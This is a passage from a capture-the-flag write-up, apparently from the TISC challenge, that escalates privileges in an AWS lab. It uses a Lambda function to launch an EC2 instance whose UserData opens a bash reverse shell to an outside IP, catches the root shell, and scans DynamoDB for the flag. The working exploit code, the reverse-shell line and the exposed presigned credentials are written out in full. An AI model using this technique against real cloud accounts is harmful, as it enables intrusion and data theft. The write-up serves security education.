8dd92fac6296b81ce1899024d" -O special.zip --2022-09-09 06:02:09-- https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d Resolving awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)... 52.219.37.35 Connecting to awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com (awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com)|52.219.37.35|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 416 [application/zip] Saving to: ‘special.zip’ special.zip 100%[=====================================================================================>] 416 --.-KB/s in 0.001s 2022-09-09 06:02:09 (635 KB/s) - ‘special.zip’ saved [416/416] ┌──(kali㉿kali)-[/tmp] └─$ dtrx special.zip special.zip contains one file but its name doesn't match. Expected: special Actual: main.py You can: * extract the file _I_nside a new directory named special * extract the file and _R_ename it special * extract the file _H_ere What do you want to do? (I/r/h) ┌──(kali㉿kali)-[/tmp] └─$ cd special ┌──(kali㉿kali)-[/tmp/special] └─$ ls main.py ┌──(kali㉿kali)-[/tmp/special] └─$ cat main.py import boto3 def lambda_handler(event, context): # Work in Progress: Requires help from Agents! # ec2 = boto3.resource('ec2') # instances = ec2.create_instances( # ImageId="???", # MinCount=1, # MaxCount=1, # InstanceType="t2.micro" #) return { 'status': 200, 'results': 'This is work in progress. Agents, palindrome needs your help to complete the workflow! :3' } ┌──(kali㉿kali)-[/tmp/special] └─$ 
Enter fullscreen mode Exit fullscreen mode

AWS EC2

Lambda Privesc to EC2 agent role

Find a random Amazon Machine Image. Make sure to find one from the specific region

I made a program to launch an EC2 instance, and through the UserData Parameter, create a reverse shell connection to the attacker.

lambda_function.py

import boto3 # https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ USERNAME="user-95abe82de2174edb98135e48ef896bbd" SCRIPT=f"""#!/bin/bash /bin/bash -i >& /dev/tcp/18.141.129.246/16058 0>&1 """ ROLE="arn:aws:iam::051751498533:role/ec2_agent_role" REGION_NAME="ap-southeast-1" def lambda_handler(event, context): ec2 = boto3.resource('ec2', region_name=REGION_NAME) # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/ec2.html#EC2.ServiceResource.create_instances  # https://codeflex.co/boto3-create-ec2-with-tags/  instances = ec2.create_instances( ImageId="ami-0b89f7b3f054b957e", # Found on AWS Portal  MinCount=1, MaxCount=1, InstanceType="t2.micro", SubnetId = 'subnet-0aa6ecdf900166741', IamInstanceProfile={ 'Arn': 'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile' }, TagSpecifications=[ { 'ResourceType': 'instance', 'Tags': [ { 'Key': 'agent', 'Value': USERNAME }, ] } ], UserData=SCRIPT ) instance = instances[0] return (instance.id, instance.private_ip_address) #lambda_handler(None, None) 
Enter fullscreen mode Exit fullscreen mode

./run.sh

#https://linuxhint.com/generate-random-string-bash/ LAMBDA_FUNC=user-95abe82de2174edb98135e48ef896bbd-ec2run-$(openssl rand -hex 5) pip install --target ./package boto3 cd package zip -r ../function.zip . > /dev/null cd .. zip -g function.zip lambda_function.py rm -rf package aws lambda create-function --zip-file fileb://function.zip --runtime python3.7 --handler lambda_function.lambda_handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role --function-name $LAMBDA_FUNC --timeout 60 aws lambda invoke --function-name $LAMBDA_FUNC /tmp/out.txt cat /tmp/out.txt 
Enter fullscreen mode Exit fullscreen mode

Running the exploit

┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function] └─$ ls lambda_function.py run.sh ┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function] └─$ ./run.sh updating: lambda_function.py (deflated 48%) { "FunctionName": "user-95abe82de2174edb98135e48ef896bbd-ec2run-e9bf31c3b2", "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-95abe82de2174edb98135e48ef896bbd-ec2run-e9bf31c3b2", "Runtime": "python3.7", "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role", "Handler": "lambda_function.lambda_handler", "CodeSize": 9332416, "Description": "", "Timeout": 60, "MemorySize": 128, "LastModified": "2022-09-09T13:17:26.523+0000", "CodeSha256": "zf3I7mXTzYZpEjT3J42YJG5IkSRrjla3zq4gDHOXdmM=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "90d3e86c-ef09-46ba-8bcf-d016c6aa5a97", "State": "Pending", "StateReason": "The function is being created.", "StateReasonCode": "Creating", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 } } { "StatusCode": 200, "ExecutedVersion": "$LATEST" } ["i-0647f6b14ee6acc28", "10.0.58.178"] ┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function] └─$  
Enter fullscreen mode Exit fullscreen mode
┌──(kali㉿kali)-[~] └─$ nc -nlvp 4444 listening on [any] 4444 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 35990 bash: no job control in this shell [root@ip-10-0-58-178 /]# 
Enter fullscreen mode Exit fullscreen mode

AWS DynamoDB

Role Information

The EC2 agent role is shown to have privileges to access DynamoDB.

┌──(kali㉿kali)-[~] └─$ aws iam list-attached-role-policies --role-name "ec2_agent_role" { "AttachedPolicies": [ { "PolicyName": "iam_policy_for_ec2_agent_role", "PolicyArn": "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role" } ] } ┌──(kali㉿kali)-[~] └─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role" { "Policy": { "PolicyName": "iam_policy_for_ec2_agent_role", "PolicyId": "ANPAQYDFBGMSUUGDZFFBM", "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "AWS IAM Policy for EC2 agent node", "CreateDate": "2022-07-22T09:29:34+00:00", "UpdateDate": "2022-07-22T09:29:34+00:00", "Tags": [] } } ┌──(kali㉿kali)-[~] └─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role" --version-id "v1" { "PolicyVersion": { "Document": { "Statement": [ { "Action": [ "dynamodb:DescribeTable", "dynamodb:ListTables", "dynamodb:Scan", "dynamodb:Query" ], "Effect": "Allow", "Resource": "*", "Sid": "VisualEditor0" } ], "Version": "2012-10-17" }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2022-07-22T09:29:34+00:00" } } ┌──(kali㉿kali)-[~] └─$  
Enter fullscreen mode Exit fullscreen mode

Viewing Table

I enumerated through DynamoDB to get the flag.

[root@ip-10-0-47-186 /]# aws dynamodb list-tables --region ap-southeast-1 aws dynamodb list-tables --region ap-southeast-1 { "TableNames": [ "flag_db" ] } [root@ip-10-0-47-186 /]# aws dynamodb scan --table-name flag_db --region ap-southeast-1 { "Count": 1, "Items": [ { "secret": { "S": "TISC{iT3_N0t_s0_C1oUdy}" }, "name": { "S": "flag" } } ], "ScannedCount": 1, "ConsumedCapacity": null } [root@ip-10-0-47-186 /]# 
Enter fullscreen mode Exit fullscreen mode

Flag

TISC{iT3_N0t_s0_C1oUdy}

Top comments (0)